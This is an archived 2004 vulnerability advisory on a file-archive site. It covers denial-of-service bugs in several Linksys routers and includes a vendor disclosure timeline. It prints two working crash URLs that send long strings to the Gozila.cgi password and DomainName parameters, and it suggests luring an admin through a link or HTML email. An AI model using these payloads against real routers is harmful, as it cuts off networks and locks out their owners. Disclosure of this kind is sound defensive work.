exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

linksysDoS2.txt

linksysDoS2.txt
Posted Jun 3, 2004
Authored by b0f | Site b0f.net

Multiple denial of service attacks exist against various Linksys routers, causing them to need a factory reset in order to function again. Version affected: Linksys BEFSR41, BEFSR41 v3, BEFSRU31, BEFSR11, BEFSX41, BEFSR81 v2/v3, BEFW11S4 v3, BEFW11S4 v4.

tags | exploit, denial of service
SHA-256 | db186f84f45cf2b92a997aca7c56050a81e24eb42de92b84834c222e647b14e2

linksysDoS2.txt

Change Mirror Download


Denial of Service Vulnerability in
Linksys BEFSR41 - Router vuln was identified and tested on.
Linksys BEFSR41 v3
Linksys BEFSRU31
Linksys BEFSR11
Linksys BEFSX41
Linksys BEFSR81 v2/v3
Linksys BEFW11S4 v3
Linksys BEFW11S4 v4
Available from www.linksys.com
October 19, 2003 (Revised November 10, 2003)
Released Date: 3rd June 2004
NOTE: THIS ADVISORY WAS ORIGINALLY WITTEN FOR THE
Linksys BEFSR41 EtherFast Cable/DSL Router with 4-Port Switch

I. BACKGROUND

Linksys Group Inc.'s EtherFast Cable/DSL Router with 4-Port Switch
"is the perfect option to connect multiple PCs to a high-speed
Broadband Internet connection or to an Ethernet back-bone. Allowing
up to 253 users, the built-in NAT technology acts as a firewall
protecting your internal network." More information about it is
available at
http://www.linksys.com/products/product.asp?prid=20&grid=23

II. DESCRIPTION

It is possible for a remote/local attacker to crash the linksys router and
leave it in a state that it can't be accessed even after reboot due to an
invalid password. An attacker could set up a web page or send an html
email to someone inside the LAN to indirectly send commands to the router.
An attacker could specify a URL that results in denial of service. The DoS
Occurs when 2 long strings are sent to the sysPasswd and sysPasswdConfirm
Parameters on the Gozila.cgi script, about 150 characters to each parameter
Seems to work fine. If an attacker can get the admin of the router to view a link
Or goto a webpage that links to such a link as this.

http://192.168.1.1/Gozila.cgi?sysPasswd=AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&sysPasswdConfirm=AAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA&UPnP_Work=1&FactoryDefaults=0

The router will drop all internet connections making the internet inaccessible from the
LAN even if the router is powered off and back on. It also seems to change the
password in such a way that the admin can't log back into the router and the only way
to solve it is by pressing the factory reset button on the front of the router, Which will
then reset all previously stored settings and reset the password back to factory default
'admin'. The router would then need to be set back up again from scratch.


REVISED NOVEMBER 10, 2003


On November 10 2003 I found another overflow in linksys router which is a similar attack
method to the first vuln in this advisory. The DoS occurs in this attack when a long
string about 350 characters is passed to the 'DomainName' parameter of the Gozila.cgi
script. An example of this attack would be to get the admin of a router to visit a link
like this.

http://192.168.1.1/Gozila.cgi?hostName=&DomainName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&WANConnectionSel=0&ipAddr1=192&ipAddr2=168&
ipAddr3=1&ipAddr4=1&netMask=0&WANConnectionType=1

This would cause the router to crash and the Factory reset button on the front of the
Router would need to be pressed to restore it back to normal working order.



III. ANALYSIS

Exploitation may be particularly dangerous, especially if the router's remote
management capability is enabled. It may also be easily exploited by fooling
an admin of the router into clicking a link he/she thinks is valid. This is probably
vuln in older version of the firmware.

IV. DETECTION

This vulnerability affects the BEFSR41 EtherFast Cable/DSL router with the latest
firmware version 1.45.7 I also tested version 1.44.2z which is also vuln so probably
all other version below this are also vuln . It may also be possible that other version of
Linksys routers are vuln to this attack if they use the same type of management. I'm unable
to confirm any other models that are vuln to this attack. The Linksys BEFSRU31 and BEFSR11
use the same version of firmware as the BEFSR41 so they are probably vuln.

NOTE ADDED June 3rd 2004:
The Vendor confirmed this vuln in all version stated at the start of this advisory

V. RECOVERY

Pressing the reset button on the front of the router and setting it back up from scratch
should restore normal functionality to the router.

VI. WORKAROUND

Don't click untrusted links.

VII. VENDOR
19 Oct 2003: First vuln discovered.
10 Nov 2003: Second vuln discovered.
01 Dec 2003: Vendor contacted via security@linksys.com
01 Dec 2003: Response Recived from jay.price@linksys.com
10 Dec 2003: Issue been turned over to project manager andreas.bang@linksys.com
17 Dec 2003: I was sent a beta release of the new firmware witch fixed the vuln but
had a bug where the logging function wouldn't work.
22 DEc 2003: andreas.bang@linksys.com now moved office now to contact anbang@cisco.com
29 Jan 2004: Was told patches would be up in the next week
29 Feb 2004: They said there was a problem with the code, still no patches
24 Mar 2004: Recived a email about patches saying.
BEFSR41 v3(Post on by 3/31)
BEFSX41 (posted)
BEFSR81 v2/v3(in progress)
BEFW11S4 v3(post by 3/31)
BEFW11S4 v4(posted)
02 Jun 2004: Advisory released to public still no patch for the Linksys BEFSR41
EtherFast Cable/DSL Router with 4-Port Switch
http://www.linksys.com/download/firmware.asp?fwid=3
The version this advisory was first written for it still remains vuln to date.


b0f (Alan McCaig)
b0fnet@yahoo.com
www.b0f.net
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close